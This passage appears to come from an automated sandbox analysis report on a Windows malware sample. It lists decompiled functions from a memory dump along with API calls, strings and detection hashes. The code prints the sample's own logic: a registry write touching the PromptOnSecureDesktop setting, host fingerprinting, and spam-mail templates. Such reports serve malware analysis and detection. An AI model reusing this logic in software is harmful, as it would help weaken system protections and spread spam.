				while(1) {
					_t3 = InterlockedExchange(_t8, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t9;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040a4dd
0x0040a4df
0x0040a4f7
0x0040a4fa
0x0040a4fe
0x00000000
0x00000000
0x0040a4e6
0x0040a4ed
0x0040a4f1
0x00000000
0x0040a4f1
0x00000000
0x0040a4ed
0x0040a504

APIs

GetTickCount.KERNEL32 ref: 0040A4D1
GetTickCount.KERNEL32 ref: 0040A4E4
Sleep.KERNEL32(00000000,?,0040C2E9,0040C4E0,00000000,localcfg,?,0040C4E0,00413588,00408810), ref: 0040A4F1
InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction ID: a5473328a7e7118e9aede6741b06156156ec1e7733dd8d1ec56465b12724d56e
Opcode Fuzzy Hash: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction Fuzzy Hash: 7DE0863720131567C6005BA5BD84FAA7B98AB4D761F164072FB08E3280D6AAA99145BF

Uniqueness

Uniqueness Score: -1.00%

Function 00404E92, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404E92(void* __ecx) {
				long _t2;
				void* _t7;
				LONG* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = GetTickCount();
				_t8 = _t7 + 4;
				while(1) {
					_t2 = InterlockedExchange(_t8, 1);
					if(_t2 == 0) {
						break;
					}
					_t2 = GetTickCount() - _t9;
					if(_t2 < 0x2710) {
						Sleep(0xa);
						continue;
					}
					break;
				}
				return _t2;
			}

0x00404e9c
0x00404ea6
0x00404ea8
0x00404ec0
0x00404ec3
0x00404ec7
0x00000000
0x00000000
0x00404eaf
0x00404eb6
0x00404eba
0x00000000
0x00404eba
0x00000000
0x00404eb6
0x00404ecd

APIs

GetTickCount.KERNEL32 ref: 00404E9E
GetTickCount.KERNEL32 ref: 00404EAD
Sleep.KERNEL32(0000000A,?,00000001), ref: 00404EBA
InterlockedExchange.KERNEL32(?,00000001), ref: 00404EC3

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction ID: 0be737a4b1ecb403dd0b6a084e6b0260aeafc6613011e157a8d43e60cd200510
Opcode Fuzzy Hash: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction Fuzzy Hash: 6AE086B620121457D61027B9FD84F966A89AB9A361F010532F70DE21C0C6AA989345FD

Uniqueness

Uniqueness Score: -1.00%

Function 00404BD1, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404BD1(void* __ecx) {
				long _t2;
				void* _t7;
				LONG* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = GetTickCount();
				_t8 = _t7 + 0xc;
				while(1) {
					_t2 = InterlockedExchange(_t8, 1);
					if(_t2 == 0) {
						break;
					}
					_t2 = GetTickCount() - _t9;
					if(_t2 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t2;
			}

0x00404bdb
0x00404be5
0x00404be7
0x00404bff
0x00404c02
0x00404c06
0x00000000
0x00000000
0x00404bee
0x00404bf5
0x00404bf9
0x00000000
0x00404bf9
0x00000000
0x00404bf5
0x00404c0c

APIs

GetTickCount.KERNEL32 ref: 00404BDD
GetTickCount.KERNEL32 ref: 00404BEC
Sleep.KERNEL32(00000000,?,?,?,00000004,004050F2), ref: 00404BF9
InterlockedExchange.KERNEL32(-00000008,00000001), ref: 00404C02

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction ID: c27c4130c4fb343c81443d6f5f76baf76a02980c1ff66e5fdc0d00212ab38f61
Opcode Fuzzy Hash: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction Fuzzy Hash: FCE0867624521457D61027A66D80FA67BA89B99361F064073F70CE2190C9AAE48141BD

Uniqueness

Uniqueness Score: -1.00%

Function 004030FA, Relevance: 6.0, APIs: 4, Instructions: 23
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004030FA(LONG* _a4) {
				long _t3;
				long _t5;

				_t5 = GetTickCount();
				while(1) {
					_t3 = InterlockedExchange(_a4, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t5;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040310b
0x00403122
0x00403128
0x0040312c
0x00000000
0x00000000
0x00403111
0x00403118
0x0040311c
0x00000000
0x0040311c
0x00000000
0x00403118
0x00403131

APIs

GetTickCount.KERNEL32 ref: 00403103
GetTickCount.KERNEL32 ref: 0040310F
Sleep.KERNEL32(00000000), ref: 0040311C
InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction ID: 9edc608f4d32da9f9de986fa19dd3c9deb40157c310ade5cfb00ff6fe32d5b40
Opcode Fuzzy Hash: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction Fuzzy Hash: 51E0C235200215ABDB00AF75BD44B8A6E9EDF8C762F014432F205EA1E0C9F44D51897A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E177, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040E177(signed int _a4, long _a8) {
				void* _v8;
				void* _v12;
				void* __ecx;
				void* _t31;
				void* _t34;
				intOrPtr* _t36;
				void* _t38;
				intOrPtr* _t41;
				void* _t43;
				void* _t46;
				void* _t47;
				void* _t57;
				void* _t58;
				void* _t67;
				void* _t68;
				void* _t72;
				void* _t77;

				_push(_t58);
				_push(_t58);
				if(_a8 != 0) {
					L2:
					if( *0x4136c0 == 0) {
						L20:
						_t31 = 1;
						L21:
						return _t31;
					}
					if((_a4 & 0x00000001) != 0) {
						_t46 = E0040DFE2(_t58, 1,  &_v8,  &_a8);
						_t67 = _t67 + 0xc;
						if(_t46 != 0) {
							_t81 = _a8;
							if(_a8 != 0) {
								_t47 = E0040DBCF(_t81, 0x40000000, 2);
								_pop(_t58);
								_v12 = _t47;
								if(_t47 != 0xffffffff) {
									_t57 = _v8;
									if(_t57 != 0 && _a8 != 0) {
										E00402544(_t57, _t57, _a8, 0xe4, 0xc8);
										_t67 = _t67 + 0x14;
										if(WriteFile(_v12, _t57, _a8,  &_a8, 0) != 0) {
											 *0x4136c0 =  *0x4136c0 & 0x00000000;
										}
									}
									CloseHandle(_v12);
								}
							}
						}
					}
					if((_a4 & 0x00000002) == 0) {
						L19:
						goto L20;
					}
					_t34 = E0040DFE2(_t58, 2,  &_v8,  &_a8);
					_t68 = _t67 + 0xc;
					if(_t34 == 0 || _a8 == 0) {
						goto L19;
					} else {
						E00402544(_v8, _v8, _a8, 0xe4, 0xc8);
						_t36 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						_t38 = E0040E095(0x80000001, E00402544(0x4122f8, 0x4110bc, 0x14, 0xe4, 0xc8), _t36, _v8, _a8);
						_t72 = _t68 + 0x50;
						if(_t38 != 0) {
							L17:
							 *0x4136c0 =  *0x4136c0 & 0x00000000;
							L18:
							E0040EE2A(_t58, 0x4122f8, 0, 0x100);
							E0040EE2A(_t58, 0x4128f8, 0, 0x100);
							goto L19;
						}
						_t41 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						_t43 = E0040E095(0x80000001, E00402544(0x4122f8, 0x4110a0, 0x19, 0xe4, 0xc8), _t41, _v8, _a8);
						_t72 = _t72 + 0x3c;
						if(_t43 == 0) {
							goto L18;
						}
						goto L17;
					}
				}
				_t31 = 1;
				_t77 =  *0x4120ec - _t31; // 0x1
				if(_t77 != 0) {
					goto L21;
				}
				goto L2;
			}

0x0040e17a
0x0040e17b
0x0040e182
0x0040e193
0x0040e199
0x0040e312
0x0040e314
0x0040e315
0x0040e317
0x0040e317
0x0040e1ad
0x0040e1b9
0x0040e1be
0x0040e1c3
0x0040e1c5
0x0040e1c8
0x0040e1d1
0x0040e1d7
0x0040e1d8
0x0040e1de
0x0040e1e0
0x0040e1e5
0x0040e1f4
0x0040e1f9
0x0040e211
0x0040e213
0x0040e213
0x0040e211
0x0040e21d
0x0040e21d
0x0040e1de
0x0040e1c8
0x0040e1c3
0x0040e227
0x0040e310
0x00000000
0x0040e311
0x0040e237
0x0040e23c
0x0040e241
0x00000000
0x0040e251
0x0040e25c
0x0040e278
0x0040e29e
0x0040e2a3
0x0040e2a8
0x0040e2eb
0x0040e2eb
0x0040e2f2
0x0040e2fb
0x0040e308
0x00000000
0x0040e30d
0x0040e2be
0x0040e2df
0x0040e2e4
0x0040e2e9
0x00000000
0x00000000
0x00000000
0x0040e2e9
0x0040e241
0x0040e186
0x0040e187
0x0040e18d
0x00000000
0x00000000
0x00000000

APIs

WriteFile.KERNEL32(00000001,0040DAE0,00000000,00000000,00000000), ref: 0040E209
CloseHandle.KERNEL32(00000001,00000003), ref: 0040E21D

Part of subcall function 0040E095: RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
Part of subcall function 0040E095: RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E127
Part of subcall function 0040E095: RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E158
Part of subcall function 0040E095: RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Strings

PromptOnSecureDesktop, xrefs: 0040E28A, 0040E28F, 0040E2D0, 0040E2FA

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseValue$CreateDeleteFileHandleWrite
String ID: PromptOnSecureDesktop
API String ID: 4151426672-2980165447
Opcode ID: 37dfbf216df26e803d94dadfb58819ad5d21e466b92f5f92513eb1125c4237e0
Instruction ID: b34283ca0245a4d5345772c7626065eb71a791ff6ac24fd5689ebe733b27dfc9
Opcode Fuzzy Hash: 37dfbf216df26e803d94dadfb58819ad5d21e466b92f5f92513eb1125c4237e0
Instruction Fuzzy Hash: 5D41DB71940214BADB205E938C06FDB3F6CEB44754F1084BEFA09B41D2E6B99A60D6BD

Uniqueness

Uniqueness Score: -1.00%

Function 00419334, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004193A8

Strings

9, xrefs: 004195A8
0, xrefs: 00419363

Memory Dump Source

Source File: 00000018.00000002.800737404.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _get_int64_arg
String ID: 0$9
API String ID: 3658606546-1975997740
Opcode ID: 262e04145da5c00af96169f1bbd559992850ae02f92f7849eabb2a4add623c5f
Instruction ID: 8956761c2809f94862566fe0ef3ce0a940da4598737585b6a527264c7e68f2fd
Opcode Fuzzy Hash: 262e04145da5c00af96169f1bbd559992850ae02f92f7849eabb2a4add623c5f
Instruction Fuzzy Hash: B041D2B1D0522DDFEB25CF98C8A9BEEB7B5BB44304F24859AD409A7240C7389E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0041A6B9, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0041A720

Strings

', xrefs: 0041A6B9
9, xrefs: 0041A923

Memory Dump Source

Source File: 00000018.00000002.800737404.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _get_int64_arg
String ID: '$9
API String ID: 3658606546-1823400153
Opcode ID: 6fb9fa2d9e443bc08e41b6306cc316941118c9cb965158bf922cd61d49835320
Instruction ID: bd8290a90899cdba44d2bc7de17386fcfc3223fd55d1bee9dcff954a09463dd4
Opcode Fuzzy Hash: 6fb9fa2d9e443bc08e41b6306cc316941118c9cb965158bf922cd61d49835320
Instruction Fuzzy Hash: AD41F3B1E111299FDB24CF58C941BEEB7B4FF85314F1040AA9148AB241C7789ED2CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00408CEE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00408CEE() {
				intOrPtr* _v8;
				intOrPtr _v12;
				long _t15;
				char _t17;
				intOrPtr _t19;
				intOrPtr* _t20;
				void* _t25;
				signed int _t31;
				signed char _t35;
				signed int _t36;
				char* _t41;
				intOrPtr* _t42;
				signed int _t45;

				_push(_t34);
				_t31 = 0;
				if( *0x413380 == 0) {
					L17:
					return _t15;
				}
				_t15 = GetTickCount() -  *0x413388;
				if(_t15 < 0xea60) {
					goto L17;
				}
				_t41 =  *0x413380;
				_t17 =  *_t41;
				_t45 =  *(_t41 + 1);
				_t42 = _t41 + 5;
				_v12 = _t17;
				if(_t17 <= 0) {
					L16:
					_t15 = GetTickCount();
					 *0x413388 = _t15;
					goto L17;
				} else {
					_v8 = _t42;
					do {
						_t35 =  *_v8;
						if(_t35 != 8) {
							if(_t35 != 9) {
								_t36 = _t35;
								_t19 =  *((intOrPtr*)(0x413300 + _t36 * 4));
								if(_t19 == 0) {
									goto L12;
								}
								_t9 = _t19 + 0x34; // 0x3b10c483
								if(_t36 ==  *_t9) {
									_t13 = _t19 + 0x50; // 0x7486850
									_t20 =  *_t13;
									if(_t20 != 0) {
										 *_t20(_t45 >>  *(_t31 * 5 + _t42) & 0x00000001);
									}
									goto L16;
								}
								goto L12;
							}
							_t25 = E0040A688(_t45 >> _t35 & 0x00000001);
							L8:
							if(_t25 != 0) {
								_t6 = _v8 + 1; // 0x3cc6
								_t45 = _t45 |  *_t6;
							}
							goto L12;
						}
						_t25 = E0040A677(_t45 >> _t35 & 0x00000001);
						goto L8;
						L12:
						_v8 = _v8 + 5;
						_t31 = _t31 + 1;
					} while (_t31 < _v12);
					goto L16;
				}
			}

0x00408cf2
0x00408cf4
0x00408cfc
0x00408dae
0x00408db0
0x00408db0
0x00408d08
0x00408d13
0x00000000
0x00000000
0x00408d1b
0x00408d21
0x00408d24
0x00408d27
0x00408d2a
0x00408d2f
0x00408da1
0x00408da1
0x00408da8
0x00000000
0x00408d31
0x00408d31
0x00408d34
0x00408d37
0x00408d3c
0x00408d50
0x00408d6c
0x00408d6f
0x00408d78
0x00000000
0x00000000
0x00408d7a
0x00408d7d
0x00408d8b
0x00408d8b
0x00408d90
0x00408d9e
0x00408da0
0x00000000
0x00408d90
0x00000000
0x00408d7d
0x00408d5a
0x00408d5f
0x00408d62
0x00408d67
0x00408d67
0x00408d67
0x00000000
0x00408d62
0x00408d46
0x00000000
0x00408d7f
0x00408d7f
0x00408d83
0x00408d84
0x00000000
0x00408d89

APIs

GetTickCount.KERNEL32 ref: 00408D02
GetTickCount.KERNEL32 ref: 00408DA1

Strings

localcfg, xrefs: 00408D19

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick
String ID: localcfg
API String ID: 536389180-1857712256
Opcode ID: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction ID: 1ef816322ecc1e041cdf399b9b138f6358d408137adc4a714cdb07e14db9ba06
Opcode Fuzzy Hash: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction Fuzzy Hash: 0821C631610115AFCB109F64DE8169ABBB9EF20311B25427FD881F72D1DF38E940875C

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFCE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040BFD0
wsprintfA.USER32 ref: 0040C060

Strings

Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl, xrefs: 0040C057

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTickwsprintf
String ID: Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl
API String ID: 2424974917-1012700906
Opcode ID: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction ID: 59a0723085258e1b6130595cff45262f63c8180c8ffe05f2a9b9c441a6a96c57
Opcode Fuzzy Hash: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction Fuzzy Hash: 53115672200100FFDB529BA9DD44E567FA6FB88319B3491ACF6188A166D633D863EB50

Uniqueness

Uniqueness Score: -1.00%

Function 004038F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004038F0(void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _t29;
				intOrPtr _t43;
				intOrPtr _t45;
				intOrPtr _t50;

				if(_a8 <= 0) {
					L14:
					return _t29;
				}
				_t29 = E004030FA(0x412c00);
				_v8 = 0;
				if(_a8 <= 0) {
					L13:
					 *0x412c00 =  *0x412c00 & 0x00000000;
					goto L14;
				} else {
					do {
						_t50 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + _v8 * 4))));
						_t45 =  *((intOrPtr*)(_t50 - 0x24));
						if( *((intOrPtr*)(_t50 - 0x14)) != GetCurrentThreadId()) {
							_t10 = _t50 - 0x1c;
							 *_t10 =  *(_t50 - 0x1c) - 1;
							if( *_t10 < 0) {
								 *(_t50 - 0x1c) =  *(_t50 - 0x1c) & 0x00000000;
							}
							 *((intOrPtr*)(_t50 - 0x14)) = GetCurrentThreadId();
						}
						 *((intOrPtr*)(_t50 - 0xc)) =  *((intOrPtr*)(_t50 - 0xc)) + 1;
						if( *((intOrPtr*)(_t50 - 0xc)) >=  *((intOrPtr*)(_t50 - 8))) {
							_t43 = 2;
							 *((intOrPtr*)(_t50 - 0x20)) = _t43;
							 *((intOrPtr*)(_t45 + 0x10)) =  *((intOrPtr*)(_t45 + 0x10)) + 1;
							_t34 =  *((intOrPtr*)(_t45 + 0x10));
							if( *((intOrPtr*)(_t45 + 0x10)) >=  *((intOrPtr*)(_t45 + 0x14))) {
								 *((intOrPtr*)(_t45 + 8)) = _t43;
								if( *0x412bfc == 0) {
									E00406509(_t34);
									 *0x412bfc = 1;
								}
							}
						}
						_v8 = _v8 + 1;
						_t29 = _v8;
					} while (_t29 < _a8);
					goto L13;
				}
			}

0x004038fa
0x00403989
0x0040398b
0x0040398b
0x00403905
0x0040390b
0x00403911
0x00403982
0x00403982
0x00000000
0x00403913
0x0040391b
0x00403924
0x00403926
0x0040392e
0x00403930
0x00403930
0x00403933
0x00403935
0x00403935
0x0040393b
0x0040393b
0x0040393e
0x00403947
0x0040394b
0x0040394c
0x0040394f
0x00403952
0x00403958
0x0040395a
0x00403964
0x00403966
0x0040396b
0x0040396b
0x00403964
0x00403958
0x00403975
0x00403978
0x0040397b
0x00000000
0x00403981

APIs

Part of subcall function 004030FA: GetTickCount.KERNEL32 ref: 00403103
Part of subcall function 004030FA: InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

GetCurrentThreadId.KERNEL32 ref: 00403929
GetCurrentThreadId.KERNEL32 ref: 00403939

Strings

%FROM_EMAIL, xrefs: 00403913

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CurrentThread$CountExchangeInterlockedTick
String ID: %FROM_EMAIL
API String ID: 3716169038-2903620461
Opcode ID: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction ID: b7f4056d5a805f6dc72f55654bcd4db07a73235d6c8b9c95532e416c15eafef7
Opcode Fuzzy Hash: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction Fuzzy Hash: 7B113DB5900214EFD720DF16D581A5DF7F8FB05716F11856EE844A7291C7B8AB80CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00401B71, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401B71() {
				long _v8;
				long _v12;
				void* _v27;
				char _v28;
				signed int _t12;
				signed int _t28;

				_v28 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_v8 = 0;
				asm("stosb");
				_v12 = 0xf;
				_t12 = E00401AC3();
				GetComputerNameA( &_v28,  &_v12);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0);
				_t28 = (_v28 ^ _v8 ^ _t12) & 0x7fffffff;
				_v8 = _t28;
				if(_t28 == 0) {
					return E0040ECA5() & 0x7fffffff;
				}
				return _t28;
			}

0x00401b7e
0x00401b84
0x00401b85
0x00401b86
0x00401b87
0x00401b89
0x00401b8c
0x00401b8d
0x00401b94
0x00401ba3
0x00401bb8
0x00401bc8
0x00401bca
0x00401bcd
0x00000000
0x00401bd8
0x00000000

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses,00000000,?,?,?,?,00000001), ref: 00401AE9

GetComputerNameA.KERNEL32 ref: 00401BA3
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00401EFD,00000000,00000000,00000000,00000000), ref: 00401BB8

Strings

localcfg, xrefs: 00401B7B

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: localcfg
API String ID: 2777991786-1857712256
Opcode ID: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction ID: 3328142983dde5627d9ce9a8d7cd594e0c2b91da8c15a082e229c164244e8f4a
Opcode Fuzzy Hash: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction Fuzzy Hash: BE018BB2D0010CBFEB009BE9CC819EFFABCAB48754F150072A601F3190E6746E084AA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040AB81, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
stringCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040AB81(intOrPtr _a4, intOrPtr _a8, char _a12, CHAR* _a16, char _a20) {
				void* _t15;
				long _t17;
				signed int _t29;
				long* _t31;

				_t29 = 0;
				if(_a8 > 0) {
					do {
						_t31 = _a4 + _t29 * 4;
						_t17 =  *_t31;
						if( *((char*)(_t17 + 0x10)) == 1 &&  *((char*)(_t17 + 0x12)) == 0) {
							 *((char*)(_t17 + 0x11)) = _a20;
							lstrcpynA( *_t31 + 0x12, _a16, 0x3e);
							 *((char*)( *_t31 + 0x4f)) = 0;
							 *((char*)( *_t31 + 0x10)) = _a12;
							if( *((char*)( *_t31 + 0x10)) != 2) {
								_push(0x413640);
							} else {
								_push(0x41363c);
							}
							_t17 = InterlockedIncrement();
						}
						_t29 = _t29 + 1;
					} while (_t29 < _a8);
					return _t17;
				}
				return _t15;
			}

0x0040ab85
0x0040ab8a
0x0040ab94
0x0040ab97
0x0040ab9a
0x0040aba0
0x0040abab
0x0040abb9
0x0040abc4
0x0040abca
0x0040abd3
0x0040abdc
0x0040abd5
0x0040abd5
0x0040abd5
0x0040abe1
0x0040abe1
0x0040abe3
0x0040abe4
0x00000000
0x0040abea
0x0040abed

APIs

lstrcpynA.KERNEL32(?,?,0000003E,?,%FROM_EMAIL,00000000,?,0040BD6F,?,?,0000000B,no locks and using MX is disabled,000000FF), ref: 0040ABB9
InterlockedIncrement.KERNEL32(00413640), ref: 0040ABE1

Strings

%FROM_EMAIL, xrefs: 0040AB8C

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: IncrementInterlockedlstrcpyn
String ID: %FROM_EMAIL
API String ID: 224340156-2903620461
Opcode ID: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction ID: 7c747491fd5973eaabf4003e0d871bd0eed893c7530145efd7f06e2bf3dfd35d
Opcode Fuzzy Hash: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction Fuzzy Hash: D3019231508384AFDB21CF18D881F967FA5AF15314F1444A6F6805B393C3B9E995CB96

Uniqueness

Uniqueness Score: -1.00%

Function 004026B2, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37networkCOMMON

Download Yara Rule

APIs

gethostbyaddr.WS2_32(00000000,00000004,00000002), ref: 004026C3
inet_ntoa.WS2_32(?), ref: 004026E4

Strings

localcfg, xrefs: 004026CD, 004026D2, 004026DE

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: gethostbyaddrinet_ntoa
String ID: localcfg
API String ID: 2112563974-1857712256
Opcode ID: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction ID: d2c247fa2f64166219b22d1ecfca1b9a377bc480b126e4bf322f1ec8134a793b
Opcode Fuzzy Hash: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction Fuzzy Hash: 81F082321482097BEF006FA1ED09A9A379CEF09354F108876FA08EA0D0DBB5D950979C

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAE4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EAE4(CHAR* _a4) {
				struct HINSTANCE__* _t2;

				_t2 =  *0x4136f4;
				if(_t2 != 0) {
					L3:
					return GetProcAddress(_t2, _a4);
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x4136f4 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x0040eae4
0x0040eaeb
0x0040eb02
0x0040eb0d
0x0040eaed
0x0040eaf2
0x0040eaf8
0x0040eaff
0x00000000
0x0040eb01
0x0040eb01
0x0040eb01
0x0040eaff

APIs

LoadLibraryA.KERNEL32(ntdll.dll,0040EB54,_alldiv,0040F0B7,80000001,00000000,00989680,00000000,?,?,?,0040E342,00000000,73AFF210,80000001,00000000), ref: 0040EAF2
GetProcAddress.KERNEL32(?,00000000,0040EB54,_alldiv,0040F0B7,80000001,00000000,00989680,00000000,?,?,?,0040E342,00000000,73AFF210,80000001), ref: 0040EB07

Strings

ntdll.dll, xrefs: 0040EAED

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: ntdll.dll
